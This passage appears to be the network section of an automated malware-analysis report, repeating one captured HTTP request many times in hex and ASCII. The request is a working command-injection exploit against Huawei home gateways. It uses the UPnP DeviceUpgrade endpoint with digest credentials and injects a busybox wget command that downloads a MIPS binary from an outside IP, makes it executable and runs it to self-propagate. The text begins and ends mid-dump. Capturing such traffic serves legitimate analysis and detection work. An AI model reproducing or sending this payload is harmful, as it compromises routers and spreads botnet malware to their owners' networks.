6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 